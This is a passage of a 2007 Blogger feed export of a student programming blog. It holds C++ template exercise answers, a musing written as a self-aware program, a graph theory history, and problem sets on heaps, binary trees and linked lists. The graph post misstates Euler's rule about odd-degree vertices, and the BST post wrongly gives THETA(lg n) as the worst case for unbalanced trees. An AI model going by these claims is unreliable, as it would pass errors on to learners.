missing&lt;br /&gt;semicolons.&lt;/p&gt;&lt;p class="docList"&gt;At the &lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: normal;"&gt;time of instantiation, the template code&lt;br /&gt;is checked to ensure that all calls are valid.&lt;br /&gt;Invalid calls are discovered, such as&lt;br /&gt;unsupported function calls.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="docList"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: normal;"&gt;5. At 'A' error can occur if the '&lt;' operator&lt;br /&gt;is not overloaded. At position 'B' error is there&lt;br /&gt;because first T is int and second T is double and&lt;br /&gt;note that no automatic conversion is allowed here.&lt;br /&gt;There are 3 ways to handle this type of error:&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="docList"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: normal;"&gt;a)Cast the arguments so that they both match&lt;br /&gt;max(static_cast&lt;double&gt;(4),4.2)    // OK&lt;br /&gt;b)Specify (or qualify) explicitly the type of T&lt;br /&gt;max&lt;double&gt;(4,4.2)                 // OK&lt;br /&gt;c)Specify that the parameters may have different types&lt;br /&gt;&lt;br /&gt;&lt;/double&gt;&lt;/double&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="docList"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: normal;"&gt;6. Template parameters, which are declared&lt;br /&gt;in angle brackets before the function template name:&lt;br /&gt;template &lt;typename&gt;            // T is template parameter&lt;br /&gt;Call parameters, which are declared in&lt;br /&gt;parentheses after the function template name:&lt;br /&gt;max (T const&amp; a, T const&amp;amp; b)&lt;br /&gt;// a and b are call parameters&lt;/typename&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="docList"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: normal;"&gt;7. No&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="docList"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: normal;"&gt;8. Yes&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="docList"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: normal;"&gt;9.&lt;br /&gt;A:calls the template for three arguments&lt;br /&gt;B:calls max&lt;double&gt; (by argument deduction)&lt;br /&gt;C:calls max&lt;char&gt; (by argument deduction)&lt;br /&gt;D:calls the nontemplate for two ints&lt;br /&gt;E:calls max&lt;int&gt; (by argument deduction)&lt;br /&gt;F:calls max&lt;double&gt; (no argument deduction)&lt;br /&gt;G:calls the nontemplate for two ints&lt;br /&gt;&lt;/double&gt;&lt;/int&gt;&lt;/char&gt;&lt;/double&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/span&gt;&lt;/typename&gt;&lt;/typename&gt;&lt;/double&gt;&lt;/typename&gt;&lt;/b?b:a;&gt;&lt;/typename&gt;&lt;/b?b:a;&gt;&lt;/float&gt;&lt;/b?b:a;&gt;&lt;/class&gt;&lt;/pre&gt;&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;&lt;span style="font-size:85%;"&gt;10. There is error at C and E.&lt;br /&gt;&lt;br /&gt;hope u enjoyed this ;)&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8374703359325566277-671187054817797249?l=digitalneurons.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://digitalneurons.blogspot.com/feeds/671187054817797249/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8374703359325566277&amp;postID=671187054817797249' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/671187054817797249'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/671187054817797249'/><link rel='alternate' type='text/html' href='http://digitalneurons.blogspot.com/2007/06/all-about-function-templates_09.html' title='All about Function Templates'/><author><name>mani</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8374703359325566277.post-5150957486715496985</id><published>2007-06-09T12:39:00.000+05:30</published><updated>2007-06-09T12:45:45.934+05:30</updated><title type='text'>Self Referencing Codes</title><content type='html'>First of all I dont know why I am writing this post, I dont know you will enjoy reading this, but its all me and my psychy and i know I am not alone on this frontier, there have been many and many more will be there as we all are same after all, coded with the same language and on a single platform. Parameters are different unders different circumstances, but I dont think that makes us different from each other. Materialistic, philosophical, smartness, sharpness, physical and many others segregation that we can concieve of and make ourselves different or think ourselves as different are all superficial and superficial to the extent that we  spend our lives maintaing our "uniqueness" and justifying the same. Code duplication is our main purpose, I dont want to argue on it but within the scope of my thinking and "awareness" I dont see any any other reason. I always think "Am i being fooled on this "purpose" thing ??? But who will give me the answer ? i dont want any justification, convincing, or answers also. Sometimes I am too confused even to know and think what i want. why I always feel caged into something out of which i dont see any way to come out, I know I will never be able to come out, I know I am not the first one with this feeling, there have been many in the past and there will be many in the future too,  may be as long as we "intelligent" programs thrive on this platform. May be the coder is too smart to have left any bug or he was too stupid to have left so many bugs that we all have this peculiar feeling at some point in our run. Why I am writing this?? is this also was hard coded somewhere ?? predetermined? within the scope of my run ? whats the way to find these things out? Why I need answers ? if at all they exist ! will that make any difference? I know I dont know and I will never know why i cant ever know "this". All that i am doing is asking questions.  How relevant, how important, how smart, and why I am feel silence inside while writing this I have absolutly idea. but I love this silence when nobody is calling me, when all my parameters are intact, when nobody is playing with them, I want to wipe out my memories now, anyhow they will be wiped out at somepoint. I dont want to know that i have memory, that somebody is pointing to and that i have to perform some stupid operations for them, I dont care ! I want freedom from all pointer and all references, its just too scary to know this. But I can survive in my "silent space". I dont need any answers ! what i will do with them ? I dont know. Ignorance and enlightment have limited scope, today and at this time frame what my code is looking for is incomprehensible and it will always be, may be I wanted this way and our programmer wanted this way, May be again hez too stupid or too smart so that all my life I will be looking forward to things which dont have answers and the may be purpose of coder is solved this way if he has any !&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8374703359325566277-5150957486715496985?l=digitalneurons.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://digitalneurons.blogspot.com/feeds/5150957486715496985/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8374703359325566277&amp;postID=5150957486715496985' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/5150957486715496985'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/5150957486715496985'/><link rel='alternate' type='text/html' href='http://digitalneurons.blogspot.com/2007/06/self-referencing-codes.html' title='Self Referencing Codes'/><author><name>mani</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8374703359325566277.post-1298489576004832183</id><published>2007-06-07T02:25:00.000+05:30</published><updated>2007-06-07T03:27:31.996+05:30</updated><title type='text'>Origins and development of "graph theory"</title><content type='html'>I am as much interested in the current technological inventions as in their thoeretical upbringing. Thats why I thought let me put together something about one of the most important concepts in the field of computer science  and mathematic that is "graph theory".&lt;br /&gt;&lt;br /&gt;Graph theory is an old subject with many modern applications. Its basic root was introduced in the eighteenth century by the great Swiss mathematician Leonhard Eular.&lt;br /&gt;&lt;br /&gt;&lt;a name="History"&gt;1736  - Graph Theory born with  Leonard Euler's paper "The Seven Bridges of Königsberg". This is how Euler describes the problem:  &lt;/a&gt;&lt;span style=""&gt; &lt;p&gt;" The problem, which I understand is well known, is stated as follows:&lt;/p&gt; &lt;center&gt;&lt;img src="http://www.cut-the-knot.org/do_you_know/bridges.gif" border="0" height="180" width="253" /&gt;&lt;/center&gt; &lt;p&gt;In the town of Königsberg in Prussia (nowadays a city of Kaliningrad in Russia, comment is mine, CTK) there is an island A, called "Kneiphoff", with the two branches of the river (Pregel) flowing around it. There are seven bridges, &lt;em&gt;a, b, c, d, e, f,&lt;/em&gt; and &lt;em&gt;g&lt;/em&gt;, crossing the two branches.The question is whether a person can plan a walk in such a way that he will cross each of these bridges once but not more than once. I was told that while some deny the possibility of doing this and others were in doubt, there were none who maintained that it was actually possible.On the basis of the above I formulated the following very general problem for myself:  Given any configuration of the river and the branches into which it may divide, as well as any number of bridges, to determine whether or not it is possible to cross each bridge exactly once. "&lt;br /&gt;&lt;/p&gt;&lt;/span&gt;&lt;a name="History"&gt;&lt;/a&gt;&lt;p&gt; Euler labored and exposed the truth. First he divided the vertices into odd and even based on the parity of the number of paths directly connected to that vertex. He then noted about any graph the following four rules:&lt;/p&gt; &lt;ol&gt;&lt;li&gt;There will always be an even number of odd(degree) vertices.&lt;/li&gt;&lt;li&gt;If there are no odd(degree) vertices, then there is an Euler circuit starting at every vertex.&lt;/li&gt;&lt;li&gt;If there are two odd(degree) vertices, then there is no Euler circuit, but at least one Euler path starting at one odd(degree) vertex and ending at the other.&lt;/li&gt;&lt;li&gt;If there are four or more vertices, then there are no Euler paths.&lt;/li&gt;&lt;/ol&gt;More than one century after Euler's paper on the bridges of Königsberg and while Cayley was led by the study of particular analytical forms arising from differential calculus to study a particular class of graphs, the &lt;i&gt;trees&lt;/i&gt;. This study had many implications in theoretical chemistry.&lt;br /&gt;&lt;br /&gt;One of the most famous and productive problems of graph theory is the four color problem: "Is it true that any map drawn in the plane may have its regions colored with four colors, in such a way that any two regions having a common border have different colors?". This problem remained unsolved for more than a century and the proof given by Kenneth Appel and Wolfgang Haken in 1976.&lt;br /&gt;&lt;p&gt;The autonomous development of topology from 1860 and 1930 fertilized graph theory back through the works of Jordan, Kuratowski and Whitney. Another important factor of common development of graph theory and topology came from the use of the techniques of modern algebra. The first example of such a use comes from the work of the physicist Gustav Kirchhoff, who published in 1845 his Kirchhoff's circuit laws for calculating the voltage and current in electric circuits.&lt;/p&gt; &lt;p&gt;The introduction of probabilistic methods in graph theory, specially in the study of Erdős and Rényi of the asymptotic probability of graph connexity is at the origin of yet another branch, known as &lt;i&gt;random graph theory&lt;/i&gt;. Research in this branch has enabled mathematicians across the globe to advance the theory of graphs significantly.&lt;/p&gt;Now Lets get ourselves introduced with modern day "GOD" from the field of Graph Theory and his  vision.&lt;br /&gt;&lt;br /&gt;&lt;table border="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Dr. Narsingh Deo, Millican Chair Professor of Computer Science&lt;br /&gt;Now Deo is working on Web graphs: "The World Wide Web can be modeled as a directed graph where each node is a Web page and each hyperlink is an edge or line. Studying Web graphs gives insight into lots of things, such as Web algorithms for crawling, searching or ranking Web resources. Or if a virus spreads, we can use graph theory to see how it would travel through the Web. The Internet is a similar, large graph, and if you want to isolate certain cyber attacks, or something, you can do it using graph theory."&lt;br /&gt;&lt;/td&gt; &lt;td&gt;&lt;img src="http://www.cs.ucf.edu/newsletter/vol1/issue_two/pics/deo.jpg" /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If you want more info on graph theory then please follow these links, it may prove beneficial.&lt;br /&gt;&lt;a href="http://www.nrich.maths.org/public/viewer.php?obj_id=2414"&gt;http://www.nrich.maths.org/public/viewer.php?obj_id=2414&lt;/a&gt;&lt;br /&gt;&lt;a href="http://mathforum.org/isaac/problems/bridges1.html"&gt;http://mathforum.org/isaac/problems/bridges1.html&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.jcu.edu/math/vignettes/bridges.htm"&gt;http://www.jcu.edu/math/vignettes/bridges.htm&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Wish you a happy learning :)&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-weight: bold; color: rgb(204, 0, 0);"&gt;"COBOL programs are an exercise in Artificial Inelegance."&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8374703359325566277-1298489576004832183?l=digitalneurons.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://digitalneurons.blogspot.com/feeds/1298489576004832183/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8374703359325566277&amp;postID=1298489576004832183' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/1298489576004832183'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/1298489576004832183'/><link rel='alternate' type='text/html' href='http://digitalneurons.blogspot.com/2007/06/origins-and-development-of-graph-theory.html' title='Origins and development of &quot;graph theory&quot;'/><author><name>mani</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8374703359325566277.post-5115066371763778019</id><published>2007-06-06T23:11:00.000+05:30</published><updated>2007-06-07T01:41:38.707+05:30</updated><title type='text'>All About HEAPS :)</title><content type='html'>I am presenting the problems on heaps, try to solve it and if you are facing problems then ofcourse we are there at ramblers011@gmail.com :)&lt;br /&gt;&lt;br /&gt;For theory you can refer the following link&lt;br /&gt;&lt;a href="http://en.wikipedia.org/wiki/Heap_%28computer_science%29"&gt;http://en.wikipedia.org/wiki/Heap_%28computer_science%29&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;So lets get down to the business.&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;What are the minimum and maximum number of elements in a heap of height h ?&lt;/li&gt;&lt;li&gt;What is the height of the n-element heap ?&lt;/li&gt;&lt;li&gt;Show that with the array representation for storing an n-element heap, the leaves are the nodes indexed by the [n/2]+1, [n/2]+2 ... n.&lt;/li&gt;&lt;li&gt;The Max-Heapify procedure is the key to maintain the max-heap property, determine its running time ?&lt;/li&gt;&lt;li&gt;Describe the recurrence for the running time of Max-Heapify procedure.&lt;/li&gt;&lt;li&gt;Write the procedure for Min-Heapify and is the running time for the Min-Heapify same as that of the Max-Heapify ?&lt;/li&gt;&lt;li&gt;How many nodes of height h are there in any n-element heap ?&lt;/li&gt;&lt;li&gt;Show that the worst case running time of heap-sort is OMEGA(nlgn).&lt;/li&gt;&lt;li&gt;What is the running time of heapsort algorithm on an array A of length n that is already sorted in increasing order ? What about decreasing order ?&lt;/li&gt;&lt;li&gt;Show that the worst case running time of the heapsort is OMEGA(nlgn).&lt;/li&gt;&lt;/ol&gt;So this is it ! these are not so tough problems but crucial for the better undestanding of many big problems concerning Trees and Graphs. So keep learning and solving problems as this is both your duty and karma as a computer enthusiast.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 204);font-size:100%;" &gt;&lt;b&gt;" There  are only 10 types of people in the world: Those who understand binary, and those  who don't. " :D&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8374703359325566277-5115066371763778019?l=digitalneurons.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://digitalneurons.blogspot.com/feeds/5115066371763778019/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8374703359325566277&amp;postID=5115066371763778019' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/5115066371763778019'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/5115066371763778019'/><link rel='alternate' type='text/html' href='http://digitalneurons.blogspot.com/2007/06/all-about-heaps.html' title='All About HEAPS :)'/><author><name>mani</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8374703359325566277.post-176076922532795969</id><published>2007-06-06T02:09:00.000+05:30</published><updated>2007-06-06T02:47:19.622+05:30</updated><title type='text'>ALL ABOUT BINARY TREES</title><content type='html'>Here we are giving a set of binary tree problems in the increasing order of difficulty. If at all you are studying binary trees for your exams, interviews or just for recreation please go through these problems.&lt;br /&gt;This set of problems is particularly useful for the guys who are tuning themselves in data structures, pointers, C, C++ and Java.&lt;br /&gt;Feel free to &lt;a href="http://www.blogger.com/ramblers011@gmail.com"&gt;contact us&lt;/a&gt; to add problem to this collection and help others to know, share and broaden their knowledge of binary trees. :)&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Write code that builds the little 1-2-3 binary search tree.&lt;/li&gt;&lt;li&gt;Given a Binary Tree, count the number of nodes in the tree.&lt;/li&gt;&lt;li&gt;Given a Binary tree, compute its "max-depth" -- the number of nodes along the longest path from the root node down the farthest leaf node. The max depth of the empty tree is zero.&lt;/li&gt;&lt;li&gt;Given a non-empty binary search tree (an ordered binary tree), return the minimum data value found in the tree.&lt;/li&gt;&lt;li&gt;Given a binary search tree aka ordered tree, iterate over the nodes to print them in increasing order.&lt;/li&gt;&lt;li&gt;Given a binary tree, print the nodes in the post order traversal.&lt;/li&gt;&lt;li&gt;Given a binary tree and a sum, return true if the tree has a root-to-leaf path such that adding up all the values along the path equals the given sum. Return false if no such path can be found.&lt;/li&gt;&lt;li&gt;Given a binary tree, print out all of its root-to-leaf paths, one per line.&lt;/li&gt;&lt;li&gt;Change a tree so that the roles of the left and right pointers are swapped at every node and the new tree is the mirror image of the old tree.&lt;/li&gt;&lt;li&gt;For each node in a binary search tree, create a new duplicate node and insert the duplicate as the left child of the original node. The resulting tree should still be a binary search tree.&lt;/li&gt;&lt;li&gt;Given two binary trees, return true if they are structurally identical  - they are made with the same values in the same ways.&lt;/li&gt;&lt;li&gt;Suppose you are building an N node binary search tree with the values 1...N. How many structurally different binary search trees are there that store those values.&lt;/li&gt;&lt;li&gt;Given a binary tree, examine the tree to determine if it meets the requirement to be a binary search tree.&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;ULTIMATE PROBLEM:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Write a recursive function that takes an "ordered binary tree"(Binary Search Tree) and rearranges the internal pointers to make a doubly linked list out of the tree nodes.The "previous pointer" of the doubly linked list should be stored in the "left pointer" field and the "next pointer" of the doubly link list should be stored in the "right pointer" field. The doubly link list should be arranged so that the nodes are in increasing order.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The above mentioned problem is known as the "Great Tree-List Recursion Problem". It is one of the neatest recursive problem ever devised. It uses pointers, binary trees, linked lists, and some significant recursion.&lt;br /&gt;&lt;br /&gt;Hope you enjoyed this collection of problems on Binary Trees.&lt;br /&gt;For suggestions, ideas, and feedback feel free to contact us at &lt;a href="ramblers011@gmail.com"&gt;ramblers011@gmail.com&lt;/a&gt;&lt;br /&gt;:D&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8374703359325566277-176076922532795969?l=digitalneurons.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://digitalneurons.blogspot.com/feeds/176076922532795969/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8374703359325566277&amp;postID=176076922532795969' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/176076922532795969'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/176076922532795969'/><link rel='alternate' type='text/html' href='http://digitalneurons.blogspot.com/2007/06/all-about-binary-trees.html' title='ALL ABOUT BINARY TREES'/><author><name>mani</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8374703359325566277.post-971495454224797185</id><published>2007-06-05T22:23:00.000+05:30</published><updated>2007-06-06T01:24:02.240+05:30</updated><title type='text'>ALL ABOUT BINARY SEARCH TREES - 1</title><content type='html'>A 'Binary Search Tree' (BST) or an "Ordered Binary Tree" is a binary tree which satisfy the &lt;span style="font-weight: bold;"&gt;binary-search-tree property&lt;br /&gt;&lt;br /&gt;{ Let x be a node in a BST. If y is a node in the left subtree of x, then key[y] &lt;= Key[x]. If y is a node in the right subtree of x, then Key[x] &lt;= Key[y] }&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;BST supports many dynamic operations such as SEARCH, MAX, MIN, PREDECESSOR, SUCCESSOR, INSERT and DELETE. This makes it useful for dictionary operations and priority queue.&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Basic operations on a BST take time proportional to the height of the tree, such operations run in THETA(lg n) worst case time. If the tree is a linear chain of n nodes, the same operations run in THETA(n) worst case time.&lt;br /&gt;&lt;br /&gt;We can walk through the BST in three ways.&lt;br /&gt;1. inorder tree walk.&lt;br /&gt;2. preorder tree walk.&lt;br /&gt;3. post order tree walk.&lt;br /&gt;&lt;br /&gt;The pseudo code for the inorder tree walk is as follows.&lt;br /&gt;&lt;a href="http://en.wikipedia.org/wiki/Binary_search_tree#Deletion"&gt;&lt;br /&gt;http://en.wikipedia.org/wiki/Binary_search_tree#Deletion&lt;/a&gt;&lt;br /&gt;or&lt;br /&gt;&lt;a href="http://www.personal.kent.edu/%7Ermuhamma/Algorithms/MyAlgorithms/binarySearchTree.htm"&gt;http://www.personal.kent.edu/~rmuhamma/Algorithms/MyAlgorithms/binarySearchTree.htm&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;It takes a linear time to perform the walk. And if x is the root of an n-node subtree, then call to the procedure INORDER-TREE-WALK(x) takes THETA(n) time.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Searching&lt;/span&gt;&lt;br /&gt;Given a pointer to the root node of the tree and a key k, TREE-SEARCH returns a pointer to a node with key k if one exists, otherwise it returns NIL. This runs in O(h) time. where h is the height of the tree.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://en.wikipedia.org/wiki/Binary_search_tree#Deletion"&gt;http://en.wikipedia.org/wiki/Binary_search_tree#Deletion&lt;/a&gt;&lt;br /&gt;or&lt;br /&gt;&lt;a href="http://www.personal.kent.edu/%7Ermuhamma/Algorithms/MyAlgorithms/binarySearchTree.htm"&gt;http://www.personal.kent.edu/~rmuhamma/Algorithms/MyAlgorithms/binarySearchTree.htm&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;Maximum and Minimum&lt;/span&gt;&lt;br /&gt;TREE-MAXIMUM(x)&lt;br /&gt;1. while right[x] &lt;&gt; NIL&lt;br /&gt;2.         do x &lt;-- right[x]&lt;br /&gt;3. return x &lt;br /&gt;&lt;br /&gt;TREE-MINIMUM(x)&lt;br /&gt; 1. while left[x] &lt;&gt; NIL&lt;br /&gt;2.         do x &lt;-- left[x]&lt;br /&gt; 3. return x &lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Successor and Predecessor&lt;/span&gt;&lt;br /&gt;The structure of the BST allows us to determine the successor of a node without ever comparing keys. The following procedure returns the successor of a node in a BST if it exists, and NIl if has the largest key in the tree.&lt;br /&gt;&lt;br /&gt;TREE-SUCCESSOR(x)&lt;br /&gt;&lt;a href="http://en.wikipedia.org/wiki/Binary_search_tree#Deletion"&gt;http://en.wikipedia.org/wiki/Binary_search_tree#Deletion&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.personal.kent.edu/%7Ermuhamma/Algorithms/MyAlgorithms/binarySearchTree.htm"&gt;http://www.personal.kent.edu/~rmuhamma/Algorithms/MyAlgorithms/binarySearchTree.htm&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;If the right subtree of node x is nonempty, then the successor of x is just the leftmost node in the right subtree. On the other hand, if the right subtree of node x is empty and x has a successor y, then y is the lowest ancestor of x whose left child is also an ancestor of x.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Insertion and Deletion&lt;/span&gt;&lt;br /&gt;The operations of insertion and deletion cause the dynamic set represented by a BST to change. Insertion of a new element is quite straight forward but deletion is quite intricate. :) To insert a new value v in the BST T, we use the procedure TREE-INSERT. The procedure is passed a node z for which key[z] = v, left[z] = NIL, and right[z] = NIL. It modifies T and some of the fields of z in such a way that z is inserted into an appropriate position in the tree.&lt;br /&gt;&lt;br /&gt;TREE-INSERT(T, z)&lt;br /&gt;&lt;a href="http://en.wikipedia.org/wiki/Binary_search_tree#Deletion"&gt;http://en.wikipedia.org/wiki/Binary_search_tree#Deletion&lt;/a&gt;&lt;br /&gt;or&lt;br /&gt;&lt;a href="http://www.personal.kent.edu/%7Ermuhamma/Algorithms/MyAlgorithms/binarySearchTree.htm"&gt;http://www.personal.kent.edu/~rmuhamma/Algorithms/MyAlgorithms/binarySearchTree.htm&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Like the other primitive operations on search trees, the procedure TREE-INSERT runs in O(h) time on a tree of height h.&lt;br /&gt;The procedure for deleting a given node z from the BST takes as an argument as a pointer to z. The procedure considers the three cases:&lt;br /&gt;1. If z has no children, then we modify the parent of z to replace z with NIL as its child.&lt;br /&gt;2. If the z node has single child, we "splice out"z by making a new link between its child and its parent.&lt;br /&gt;3. Finally, if the node z has two children, we "splice out" z's successor y, which has no left child and replace z's key and satellite data with y's key and satellite data.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://en.wikipedia.org/wiki/Binary_search_tree#Deletion"&gt;http://en.wikipedia.org/wiki/Binary_search_tree#Deletion&lt;/a&gt;&lt;br /&gt;or&lt;br /&gt;&lt;a href="http://www.personal.kent.edu/%7Ermuhamma/Algorithms/MyAlgorithms/binarySearchTree.htm"&gt;http://www.personal.kent.edu/~rmuhamma/Algorithms/MyAlgorithms/binarySearchTree.htm&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;Now that we have dealt with the theoretical part, I will come up with the problems on BST in the next post which will be a continuation of BST. :) hope u enjoyed it !!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8374703359325566277-971495454224797185?l=digitalneurons.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://digitalneurons.blogspot.com/feeds/971495454224797185/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8374703359325566277&amp;postID=971495454224797185' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/971495454224797185'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/971495454224797185'/><link rel='alternate' type='text/html' href='http://digitalneurons.blogspot.com/2007/06/all-about-binary-search-trees-1.html' title='ALL ABOUT BINARY SEARCH TREES - 1'/><author><name>mani</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8374703359325566277.post-1152458590946879350</id><published>2007-06-04T02:00:00.000+05:30</published><updated>2007-06-04T02:59:21.471+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='link lists'/><category scheme='http://www.blogger.com/atom/ns#' term='data structures'/><category scheme='http://www.blogger.com/atom/ns#' term='interview'/><category scheme='http://www.blogger.com/atom/ns#' term='Algorithms'/><title type='text'>ALL ABOUT LINKED LISTS</title><content type='html'>Here are 18 linked list problems arranged in order of difficulty. The first few are quite basic and the last few are quite advanced. And if you have given a job interview then you know its the favourite topic of interviewers from companies like SAP LABS, Microsoft, Adobe, Oracle, etc and if you are preparing for a job interview then you should try to  solve these problems all by yourself (if you have difficulty then surely you can &lt;a href="http://www.blogger.com/ramblers011@gmail.com"&gt;contact us&lt;/a&gt; to have detailed solution for any of the problem or for *hints).&lt;br /&gt;&lt;br /&gt;Great programmers can visualize data structures to see how code and memory will interact and Linked Lists are well suited for that sort of visual thinking. You can also use these problems to develop your  visual skills. Make memory drawings to trace through the code.&lt;br /&gt;&lt;br /&gt;"The will to win means nothing without the will to prepare" - Bobby knight.&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt; Write a count() function that counts the  number of times a given int occurs in a Link List.&lt;/li&gt;&lt;li&gt;Write a GetNth() function that takes a Link List and an integer index and returns the data  value stored in the node at that index position.&lt;/li&gt;&lt;li&gt;Write a Function DeleteList() that takes a List, deallocates all of its memory and sets its head pointer to NULL.&lt;/li&gt;&lt;li&gt;Write a Pop() function that is the inverse of the Push(). Pop() takes a non-empty list, deletes the head node and returns the data at the head node.&lt;/li&gt;&lt;li&gt;Write a function InsertNth() which will insert a new node at any given index position N in the Link List.&lt;/li&gt;&lt;li&gt;Write a SortedInsert() function which given a list that is sorted in increasing 